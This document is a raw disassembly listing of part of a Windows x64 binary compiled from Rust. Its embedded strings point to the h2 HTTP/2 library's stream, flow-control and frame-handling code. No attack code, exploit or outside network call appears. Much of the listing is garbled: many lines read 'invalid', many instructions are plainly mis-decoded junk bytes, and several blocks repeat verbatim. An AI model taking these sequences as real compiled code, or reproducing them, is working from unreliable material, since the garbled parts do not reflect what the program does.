adc eax, 0x8bb17
lea rcx, [rsp + 0x460]
call fcn.140108280
lea rax, [rsp + 0x464]
jmp 0x14009c8ee
invalid
invalid
invalid
lea rax, [rsp + 0x464]
jmp 0x14009c964
add al, ch
imul edi, dword [rbx - 0x72b7fffa], 0xa135a0d
add byte [rbp + rcx*4 + 5], cl
adc dword [rbx], 0xa
add byte [rdx + 0x2c], bh
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov edx, 0x2c
call fcn.140108350
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
or eax, 0xa132a
call fcn.140108690
mov qword [rsp + 0x120], r13
mov byte [rsp + 0x128], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed08]
and dword [rdx], ecx
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x20
add dword [rax], eax
add byte [rdx + 0x2b], bh
and dword [rdx], ecx
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x20
add dword [rax], eax
add byte [rdx + 0x2b], bh
call fcn.140108600
mov qword [rsp + 0x460], rcx
mov byte [rsp + 0x468], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed28]
or al, byte [rax]
lea r8, [rsp + 0x460]
mov edx, 0x2b
call fcn.140108600
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
call fcn.140108690
lea rcx, str.assertion_failed:_slot.next.is_none__
adc ecx, dword [rdx]
add byte [rbp + rcx*4 + 5], cl
cmc
adc ecx, dword [rdx]
add byte [rdx + 0x25], bh
adc ecx, dword [rdx]
add byte [rbp + rcx*4 + 5], cl
cmc
adc ecx, dword [rdx]
add byte [rdx + 0x25], bh
call fcn.140108350
lea rax, [rsp + 0xc4]
jmp 0x14009c964
invalid
mov r15b, 6
add byte [rax - 0x73], cl
test byte [rsp + rax*8], ah
add byte [rax], al
add cl, ch
push rdx
std
invalid
dec dword [rax + 0x1202484]
add byte [rax], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamsprioritize.rsinvalid_frame
or al, byte [rax]
or al, byte [rax]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rcx, [0x14013dc5d]
lea r9, [0x14013ec68]
lea r8, [rsp + 0x120]
mov edx, 0xd
add al, ch
invalid
invalid
invalid
invalid
add al, ch
mov ebx, 0xf0006b9
or ecx, dword [rax - 0x77]
mov ah, 0x24
and byte [rcx], al
add byte [rax], al
ud2
mov qword [rsp + 0x120], rsi
mov byte [rsp + 0x128], bpl
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp case.0x140092c4a.51
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x120], rax
mov eax, dword [rsp + 0xa4]
mov byte [rsp + 0x128], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed28]
lea r8, [rsp + 0x120]
mov edx, 0x2b
call fcn.140108600
mov qword [rsp + 0x120], rcx
mov byte [rsp + 0x128], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp case.0x140092c4a.51
lea rax, [rsp + 0x28c]
jmp 0x14009c9b4
lea rax, [rsp + 0x28c]
mov qword [rsp + 0xc0], rax
lea rax, [0x14001b400]
mov qword [rsp + 0xc8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0xc0]
jmp 0x14009c934
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_WINDOW_UPDATE_frame
lea r9, [0x14013ec68]
lea r8, [rsp + 0x120]
mov edx, 0x1b
call fcn.140108600
mov dword [rsp + 0x120], 3
lea rax, [0x14013ddd8]
mov qword [rsp + 0x20], rax
lea rcx, str.unexpected_flow_control_state
lea r9, [0x14013ebe8]
lea r8, [rsp + 0x120]
mov edx, 0x1d
call fcn.140108600
lea rcx, [0x1401282bf]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i32H
mov edx, 0x31
call fcn.140108350
lea rcx, str.assertion_failed:__id.is_zero__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotopeer.rs
lea r8, [0x140127f40]
mov edx, 0x1f
call fcn.140108350
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamsprioritize.rsinvalid_frame
call fcn.140108690
call fcn.140010b00
mov ecx, 1
mov rdx, rsi
call fcn.140107fc0
mov byte [rsp + 0x120], al
lea rax, [0x14013ddf0]
jmp 0x14009cd36
mov dword [rsp + 0x120], 3
lea rax, [0x14013de08]
jmp 0x14009cd6d
add byte [rax], al
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov byte [rsp + 0x370], 6
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0x370]
call fcn.140079480
cmp al, 0xc
jne 0x1400a2c64
invalid
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rdi + 0x3a8]
movzx eax, byte [rdi + 0x3dc]
test rcx, rcx
jne 0x14009d304
test al, al
jne 0x1400a2725
mov rdx, qword [rdi + 0x380]
cmp rdx, 2
je 0x14009d341
mov rcx, qword [rdi + 0x388]
mov rax, qword [rdi + 0x390]
test rdx, rdx
je 0x14009d336
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0x578]
call qword [rax + 0x60]
mov qword [rsp + 0x6a8], 2
mov qword [rsp + 0x6c8], 0
mov rsi, qword [rdi + 0x3e9]
test byte [rdi + 0x3e8], 1
mov byte [rdi + 0x3e8], 0
je 0x14009d433
cmp dword [rdi + 0x100], 4
jne 0x14009d394
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14009d404
mov rcx, qword [rsp + 0xb8]
mov rdx, r13
call fcn.1400a3680
test rax, rax
jne 0x14009d3d0
test rdx, rdx
jne 0x14009d3d0
sal byte [rbp + 0x22], cl
cmp dword [rdi + 0x100], 4
jne 0x14009d3d5
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x14009d3d5
jmp 0x14009d404
test rax, rax
je 0x14009d3fb
mov byte [rdi + 0x3e8], 1
mov byte [rsp + 0x8e8], 4
test byte [rax + rbp*8], ah
or byte [rax], al
add byte [rax + rcx*2], al
mov edx, dword [rsp + 0x6a8]
test byte [rax + rbp*8], ah
or byte [rax], al
add byte [rax + rcx*2], al
mov edx, dword [rsp + 0x6a8]
cmp rdx, 2
jne 0x14009e420
jmp 0x14009e4c0
test rdx, rdx
jne 0x14009d653
mov qword [rsp + 0x372], rsi
mov word [rsp + 0x370], 0x105
test byte [rax + rsi*2], ah
add eax, dword [rax]
add byte [0xcc951c1a], al
and al, 0xb8
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x70
add eax, dword [rax]
add al, ch
push rbp
sar ch, 0xff
test byte [rax + rsi*2], ah
add eax, dword [rax]
add byte [0xcc951c1a], al
and al, 0xb8
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x70
add eax, dword [rax]
add al, ch
push rbp
sar ch, 0xff
cmp al, 0xc
jne 0x1400a2ce3
movzx eax, byte [rdi + 0x3f1]
test eax, eax
je 0x14009d530
xchg ecx, esi
add eax, dword [rax]
add byte [rbp - 0x117bf040], al
add byte [rax], al
add byte [rbx - 0x7af0fd08], al
xchg ebp, eax
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rcx*8], ah
add al, 0
add byte [rax - 0x75], cl
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add dword [rdx], 0x8b480000
cmp eax, 2
jne 0x14009d6e0
mov rax, qword [rsp + 0x4c8]
mov rax, qword [rax]
test rax, rax
je 0x14009d6e0
mov rax, qword [rax + 0x10]
cmp rax, 1
jne 0x14009d5f0
adc byte [rax - 0x7d], cl
clc
add dword [rdi], ecx
test dword [rbx - 0x7cffffff], eax
mov edi, 0x100
add al, 0x75
invalid
cmp dword [rdi + 0x100], 4
jne 0x14009d48d
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14009d4d7
mov rcx, qword [rsp + 0xb8]
mov rdx, r13
call fcn.1400a3680
test rax, rax
jne 0x14009d5cc
test rdx, rdx
jne 0x14009d5cc
cmp dword [rdi + 0x100], 4
jne 0x14009d5d1
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x14009d5d1
movabs rax, 0xb416870b7adb7c3b
mov qword [rsp + 0x372], rax
mov word [rsp + 0x370], 5
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0x370]
call fcn.140079480
cmp al, 0xc
jne 0x1400a2f82
mov rax, qword [rsp + 0x4c8]
mov rax, qword [rax]
mov qword [rax + 0x10], 2
jmp 0x14009d6e0
cmp dword [rdi + 0x100], 4
jne 0x14009d550
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14009d58a
mov rcx, qword [rsp + 0xb8]
mov rdx, r13
call fcn.1400a3680
test rax, rax
jne 0x14009d5cc
test rdx, rdx
jne 0x14009d5cc
cmp dword [rdi + 0x100], 4
jne 0x14009d5d1
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x14009d5d1
mov rax, qword [rdi + 0x3f2]
mov qword [rsp + 0x372], rax
mov word [rsp + 0x370], 5
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0x370]
call fcn.140079480
cmp al, 0xc
jne 0x1400a2dbf
mov byte [rdi + 0x3f1], 1
jmp 0x14009d6e0
test rax, rax
je 0x14009d64a
mov byte [rsp + 0x8e8], 4
mov rdx, qword [rsp + 0x6a8]
cmp rdx, 2
jne 0x14009e420
jmp 0x14009e4c0
mov rax, qword [rsp + 0x4c8]
mov rsi, qword [rax]
mov rcx, qword [r13]
xor eax, eax
mov edx, 1
lock cmpxchg qword [rsi + 0x28], rdx
cmp rax, 2
je 0x14009d677
test rax, rax
jne 0x14009d6e0
mov rdx, qword [rsi + 0x18]
mov rax, qword [rcx]
test rdx, rdx
je 0x14009d684
mov rcx, qword [rcx + 8]
cmp qword [rsi + 0x20], rcx
jne 0x14009d688
cmp rdx, rax
jne 0x14009d688
mov eax, 1
xor ecx, ecx
lock cmpxchg qword [rsi + 0x28], rcx
jne 0x14009d6b7
jmp 0x14009d6e0
test rdx, rdx
je 0x14009d6e0
lea rcx, [rsp + 0x8e8]
call fcn.14001a420
mov rdx, qword [rsp + 0x6a8]
cmp rdx, 2
jne 0x14009e420
jmp 0x14009e4c0
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
add rax, 0x10
jmp 0x14009d6da
mov rcx, qword [rcx + 8]
call qword [rax]
mov rbx, rax
mov r14, rdx
mov rax, qword [rsi + 0x18]
test rax, rax
je 0x14009d6a0
mov rcx, qword [rsi + 0x20]
call qword [rax + 0x18]
mov qword [rsi + 0x18], rbx
mov qword [rsi + 0x20], r14
mov eax, 1
xor ecx, ecx
lock cmpxchg qword [rsi + 0x28], rcx
je 0x14009d6e0
mov rax, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x20]
mov qword [rsi + 0x18], 0
test rax, rax
je 0x1400a2fd6
xor edx, edx
xchg qword [rsi + 0x28], rdx
add rax, 8
call qword [rax]
nop dword [rax]
cmp dword [rdi + 0x480], 2
jne 0x14009d890
mov dword [rdi + 0x480], 2
cmp dword [rdi + 0x440], 0
je 0x14009d906
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
mov bh, 8
add al, 0
add byte [rbp + rcx*4 + 0x76], cl
adc byte [rcx], dh
sal byte [rcx - 0x4ff00fff], 0x4e
adc byte [rdi], cl
test dword [rcx], esp
invalid
mov rsi, qword [rdi + 0x408]
lea r14, [rsi + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi + 0x10], cl
jne 0x14009de3f
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009de5a
invalid
add byte [rcx], dh
in eax, dx
xor ebp, ebp
movzx eax, byte [rsi + 0x11]
test al, al
jne 0x1400a2c97
cmp dword [rsi + 0xa8], 0
je 0x14009d813
mov r15d, dword [rsi + 0xac]
cmp dword [rdi + 0x100], 4
jne 0x14009d77d
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov ebx, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jae 0x14009d7ce
mov rcx, qword [rsp + 0xb8]
mov rdx, r13
call fcn.1400a3680
mov rbx, rdx
test rax, rax
jne 0x14009d7ce
test rbx, rbx
jne 0x14009d7ce
mov r12d, 1
cmp dword [rdi + 0x100], 4
jne 0x14009dd0c
add byte [rax], al
cmp rcx, qword [rdi + 0x178]
jb 0x14009d822
mov r12, rax
test rax, rax
jne 0x14009d822
test rbx, rbx
jne 0x14009d822
add byte [rax], al
or byte [rax - 0x75], cl
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x70
add eax, dword [rax]
add al, ch
jne 0x14009d7c5
std
invalid
mov dword [rsi + 0xa8], 0
xor ebx, ebx
xor r12d, r12d
test bpl, bpl
jne 0x14009d83a
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009e1ef
xor eax, eax
xchg byte [r14], al
cmp al, 2
lea r15, [rsp + 0x1e8]
jne 0x14009d854
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test r12, r12
je 0x14009d9f2
in al, 0xf
test byte [rbp - 0x39ffffff], dl
test byte [rax + rbp*8], ah
or byte [rax], al
add byte [rsp + rcx*2], al
mov esp, dword [rsp + 0x40]
mov byte [rsp + 0x8e8], 4
mov r12, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x6a8]
cmp rdx, 2
jne 0x14009e420
jmp 0x14009e4c0
invalid
cmp dword [rdi + 0x100], 4
jne 0x14009d8b4
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
xchg dword [rax + 1], edi
add byte [rax], al
xchg dword [rax + 1], edi
add byte [rax], al
jae 0x14009da41
mov rcx, qword [rsp + 0xb8]
mov rdx, r13
call fcn.1400a3680
test rax, rax
jne 0x14009da27
test rdx, rdx
jne 0x14009da27
mov bpl, 4
cmp dword [rdi + 0x100], 4
jne 0x14009e3b2
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14009da41
jmp 0x14009e3b2
cmp dword [rdi + 0x100], 4
jne 0x14009d926
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14009d970
mov rcx, qword [rsp + 0xb8]
mov rdx, r13
call fcn.1400a3680
test rax, rax
jne 0x14009dcb7
test rdx, rdx
jne 0x14009dcb7
cmp dword [rdi + 0x100], 4
jne 0x14009de20
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x14009de20
movzx eax, byte [rdi + 0x47c]
movdqu xmm0, xmmword [rdi + 0x444]
movdqu xmm1, xmmword [rdi + 0x454]
movups xmm2, xmmword [rdi + 0x464]
mov rcx, qword [rdi + 0x474]
movdqu xmmword [rsp + 0x374], xmm0
movdqu xmmword [rsp + 0x384], xmm1
movups xmmword [rsp + 0x394], xmm2
mov qword [rsp + 0x3a4], rcx
mov byte [rsp + 0x3ac], al
mov byte [rsp + 0x370], 4
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0x370]
call fcn.140079480
cmp al, 0xc
jne 0x1400a2e8d
mov dword [rdi + 0x440], 1
jmp 0x14009d704
test rbx, rbx
mov r12, qword [rsp + 0x40]
je 0x14009dced
test rax, rax
jne 0x14009da35
test rdx, rdx
jne 0x14009dcc9
mov bpl, 4
test rax, rax
jne 0x14009e3b2
mov dword [rsp + 0x374], 0
mov dword [rsp + 0x37c], 0
mov dword [rsp + 0x384], 0
mov dword [rsp + 0x38c], 0
mov dword [rsp + 0x394], 0
mov dword [rsp + 0x39c], 0
mov dword [rsp + 0x3a4], 0
mov byte [rsp + 0x3ac], 1
mov byte [rsp + 0x370], 4
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0x370]
call fcn.140079480
cmp al, 0xc
jne 0x1400a2d2e
mov rsi, qword [rdi + 0x408]
lea rax, [rsi + 0x10]
mov qword [rsp + 0xf8], rax
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi + 0x10], cl
jne 0x14009e205
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009e225
xor ebx, ebx
movzx eax, byte [rsi + 0x11]
test al, al
jne 0x1400a2d41
mov r15, qword [rdi + 0x410]
lea r14, [r15 + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x10], cl
jne 0x14009e240
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009e25b
xor eax, eax
movzx ecx, byte [r15 + 0x11]
test cl, cl
jne 0x1400a2d84
cmp dword [rdi + 0x490], 0
je 0x14009db4e
mov ecx, dword [rdi + 0x494]
mov qword [rsi + 0x28], rcx
mov dword [rsp + 0x4c0], eax
mov qword [rsp + 0x550], r15
mov qword [rsp + 0x1b0], r14
mov dword [rsp + 0xa0], ebx
cmp dword [rdi + 0x4b0], 0
je 0x14009db83
cmp dword [rdi + 0x4b4], 0
setne byte [rsi + 0x189]
cmp dword [rdi + 0x498], 0
je 0x14009e27a
lea rax, [rsi + 0x18]
mov qword [rsp + 0x188], rax
lea rax, [rsi + 0x1c8]
mov qword [rsp + 0x128], rax
mov ecx, dword [rdi + 0x49c]
mov eax, dword [rsi + 0x184]
mov dword [rsi + 0x184], ecx
xor edx, edx
mov r12d, ecx
sub r12d, eax
setne dl
mov r8d, 0xff
cmovb edx, r8d
cmp dl, 0xff
je 0x14009dd1a
movzx eax, dl
cmp eax, 1
jne 0x14009e27a
mov rbp, qword [rsi + 0x220]
test rbp, rbp
je 0x14009e27a
mov rax, qword [rsp + 0x550]
add rax, 0x18
mov qword [rsp + 0x130], rax
lea r15, [rsi + 0x118]
lea r13, [rsi + 0x1b8]
xor r14d, r14d
nop dword [rax]
cmp r14, qword [rsi + 0x200]
jae 0x1400a2b3f
mov rax, qword [rsi + 0x1f8]
mov rcx, r14
shl rcx, 4
mov rdx, qword [rsp + 0x128]
mov qword [rsp + 0x370], rdx
movq xmm0, qword [rax + rcx + 8]
pshufd xmm0, xmm0, 0xe1
movq qword [rsp + 0x378], xmm0
mov qword [rsp + 0x28], r13
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov edx, r12d
mov r8, qword [rsp + 0x130]
lea r9, [rsp + 0x370]
call fcn.1400a4be0
test eax, eax
jne 0x14009e1a8
mov rax, qword [rsi + 0x220]
cmp rax, rbp
sbb r14, 0xffffffffffffffff
cmp rax, rbp
sbb rbp, 0
cmp r14, rbp
jb 0x14009dc20
jmp 0x14009e27a
test rax, rax
jne 0x14009de17
test rdx, rdx
je 0x14009de17
lea rcx, [rsp + 0x7d0]
call fcn.14001a420
movzx ebp, byte [rsp + 0x7d0]
cmp bpl, 3
jne 0x14009e3a9
jmp 0x14009d704
mov rdx, qword [rsi + 0x220]
test rdx, rdx
mov r13, qword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
je 0x14009de76
sub eax, ecx
xor ecx, ecx
xor r8d, r8d
mov r12, qword [rsp + 0x40]
jmp 0x14009dd6e
mov r9, qword [rsi + 0x220]
cmp r9, rdx
sbb r8, 0xffffffffffffffff
cmp r9, rdx
sbb rdx, 0
cmp r8, rdx
jae 0x14009de78
cmp r8, qword [rsi + 0x200]
jae 0x1400a2b3f
mov r9, qword [rsi + 0x1f8]
mov r11, r8
shl r11, 4
mov r10d, dword [r9 + r11 + 8]
mov r11d, dword [r9 + r11 + 0xc]
mov dword [rsp + 0x9c8], r11d
mov dword [rsp + 0x9cc], r10d
cmp qword [rsi + 0x1d8], r11
jbe 0x1400a2b4b
mov r9, qword [rsi + 0x1d0]
imul r11, r11, 0x130
cmp dword [r9 + r11], 2
je 0x1400a2b4b
add r9, r11
cmp dword [r9 + 0x114], r10d
jne 0x1400a2b4b
mov r10d, dword [r9 + 0x80]
sub r10d, eax
jo 0x14009e1cf
mov dword [r9 + 0x80], r10d
test r10d, r10d
jg 0x14009ddf8
xor r10d, r10d
mov r11d, dword [r9 + 0x84]
sub r11d, r10d
jle 0x14009dd50
mov dword [r9 + 0x84], r10d
add ecx, r11d
jmp 0x14009dd50
test rax, rax
je 0x14009d970
mov byte [rsp + 0x7d0], 4
movzx ebp, byte [rsp + 0x7d0]
cmp bpl, 3
jne 0x14009e3a9
jmp 0x14009d704
mov rcx, r14
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009d731
call fcn.140110270
mov ebp, eax
xor bpl, 1
movzx eax, byte [rsi + 0x11]
test al, al
je 0x14009d73f
jmp 0x1400a2c97
xor ecx, ecx
mov qword [rsp + 0x1e0], 2
mov qword [rsp + 0x200], 0
mov eax, dword [rsi + 0x124]
add ecx, eax
jo 0x14009dea2
mov dword [rsi + 0x124], ecx
mov eax, ecx
test eax, eax
mov ebp, 6
lea r14, [rsp + 0x698]
jle 0x14009e27a
lea r12, [rsi + 0x120]
jmp 0x14009df1e
cmp byte [rdx + 0x51], 0
je 0x14009e0da
shl rax, 0x20
or rax, rcx
mov rcx, qword [rsp + 0x128]
mov qword [rsp + 0x698], rcx
mov qword [rsp + 0x6a0], rax
cmp dword [rdx + 0x48], 0x3b9aca00
setne bl
mov rcx, r12
mov rdx, r14
call fcn.1400216e0
mov rcx, qword [rsp + 0x188]
mov rdx, r14
mov r8d, ebx
call fcn.14001fa50
cmp dword [rsi + 0x124], 0
jle 0x14009e0ed
cmp dword [rsi + 0x144], 0
je 0x14009e0ed
mov ecx, dword [rsi + 0x148]
mov eax, dword [rsi + 0x14c]
cmp ecx, dword [rsi + 0x150]
jne 0x14009dfb0
cmp eax, dword [rsi + 0x154]
jne 0x14009dfb0
mov dword [rsp + 0x5a8], ecx
mov dword [rsp + 0x5ac], eax
mov rdx, qword [rsi + 0x1d8]
cmp rdx, rcx
jbe 0x1400a2c11
mov r8, qword [rsi + 0x1d0]
imul r9, rcx, 0x130
cmp dword [r8 + r9], 2
je 0x1400a2c11
add r8, r9
cmp dword [r8 + 0x114], eax
jne 0x1400a2c11
cmp dword [r8 + 0xc4], 0
jne 0x1400a2dde
mov dword [rsi + 0x144], 0
jmp 0x14009e02b
mov dword [rsp + 0x5a8], ecx
mov dword [rsp + 0x5ac], eax
cmp qword [rsi + 0x1d8], rcx
jbe 0x1400a2b9b
mov rdx, qword [rsi + 0x1d0]
imul r8, rcx, 0x130
cmp dword [rdx + r8], 2
je 0x1400a2b9b
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x1400a2b9b
movq xmm0, qword [rdx + 0xc8]
cmp dword [rdx + 0xc4], 0
mov dword [rdx + 0xc4], 0
je 0x1400a2dd2
mov dword [rsi + 0x144], 1
movq qword [rsi + 0x148], xmm0
mov rdx, qword [rsi + 0x1d8]
mov dword [rsp + 0x5a8], ecx
mov dword [rsp + 0x5ac], eax
cmp rdx, rcx
jbe 0x1400a2b9b
mov rdx, qword [rsi + 0x1d0]
imul r8, rcx, 0x130
cmp dword [rdx + r8], 2
je 0x1400a2b9b
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x1400a2b9b
mov byte [rdx + 0x122], 0
mov dword [rsp + 0x5a8], ecx
mov dword [rsp + 0x5ac], eax
cmp qword [rsi + 0x1d8], rcx
jbe 0x1400a2c11
mov rdx, qword [rsi + 0x1d0]
cmp dword [rdx + r8], 2
je 0x1400a2c11
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x1400a2c11
movzx r8d, byte [rdx + 0x50]
add r8b, 0xfa
movzx r8d, r8b
cmp r8b, 6
cmovae r8d, ebp
cmp r8b, 3
je 0x14009dec0
movzx r8d, r8b
cmp r8d, 5
je 0x14009dec0
cmp qword [rdx + 0x88], 0
jne 0x14009deca
jmp 0x14009df11
mov rdx, qword [rsp + 0x1e0]
cmp rdx, 2
je 0x14009e27a
mov rcx, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
test rdx, rdx
je 0x14009e126
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x1f8]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x1e0]
cmp r8, 2
je 0x14009e27a
mov rdx, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
test r8, r8
je case.0x140050c3f.282
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x1e8]
lock dec qword [rax]
jne 0x14009e27a
mov rcx, qword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x1f0]
call fcn.140005050
jmp 0x14009e27a
mov ebx, edx
movaps xmmword [rsp + 0xbd0], xmm6
mov bpl, 1
xor r14d, r14d
mov r13, qword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
mov r12, qword [rsp + 0x40]
jmp 0x14009e2a9
movaps xmmword [rsp + 0x370], xmm6
movaps xmmword [rsp + 0xbd0], xmm6
mov bpl, 1
mov ebx, 3
xor r14d, r14d
jmp 0x14009e2a9
call fcn.140110270
test al, al
jne 0x14009d83a
mov byte [rsi + 0x11], 1
jmp 0x14009d83a
mov rcx, qword [rsp + 0xf8]
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009daf0
call fcn.140110270
mov ebx, eax
xor bl, 1
movzx eax, byte [rsi + 0x11]
test al, al
je 0x14009dafe
jmp 0x1400a2d41
mov rcx, r14
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009db2c
call fcn.140110270
xor al, 1
movzx ecx, byte [r15 + 0x11]
test cl, cl
je 0x14009db3b
jmp 0x1400a2d84
call qword [rax + 0x80]
mov bpl, 3
mov r14b, 1
cmp dword [rdi + 0x488], 0
mov r13, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x48]
mov ebp, dword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
mov r12, qword [rsp + 0x40]
je 0x14009e2a9
cmp dword [rdi + 0x48c], 0
setne byte [rsi + 0x188]
mov edi, 0x48c
add byte [rdi], cl
xchg ebp, eax
xchg byte [rax - 0x7fffffff], cl
mov esp, 0x4c024
add byte [rax], al
cmp byte [rsp + 0x4c0], 0
jne 0x14009e2c6
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a2660
xor eax, eax
mov rcx, qword [rsp + 0x1b0]
xchg byte [rcx], al
cmp al, 2
jne 0x14009e2dc
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [rsp + 0xa0], 0
jne 0x14009e2f9
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a267e
xor eax, eax
mov rcx, qword [rsp + 0xf8]
mov ecx, dword [rsp + 0xf8]
mov ecx, dword [rsp + 0xf8]
xchg byte [rcx], al
cmp al, 2
jne 0x14009e30f
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test r14b, r14b
mov rdx, qword [rsp + 0x5f8]
xchg esp, eax
and al, 0xf8
add eax, 0x3c740000
xchg esp, eax
and al, 0xf8
add eax, 0x3c740000
cmp dword [rdi + 0x480], 0
je 0x1400a2615
mov rax, qword [rsp + 0x568]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb8]
mov rcx, qword [rcx]
test rcx, rcx
je 0x1400a25dc
cmp ecx, 1
jne 0x1400a25f9
invalid
add byte [rax + 0x39], cl
add ch, cl
xchg ebx, eax
add byte [rax], al
cmp qword [rdx], rax
jmp 0x1400a25eb
movdqa xmm0, xmmword [rsp + 0xbd0]
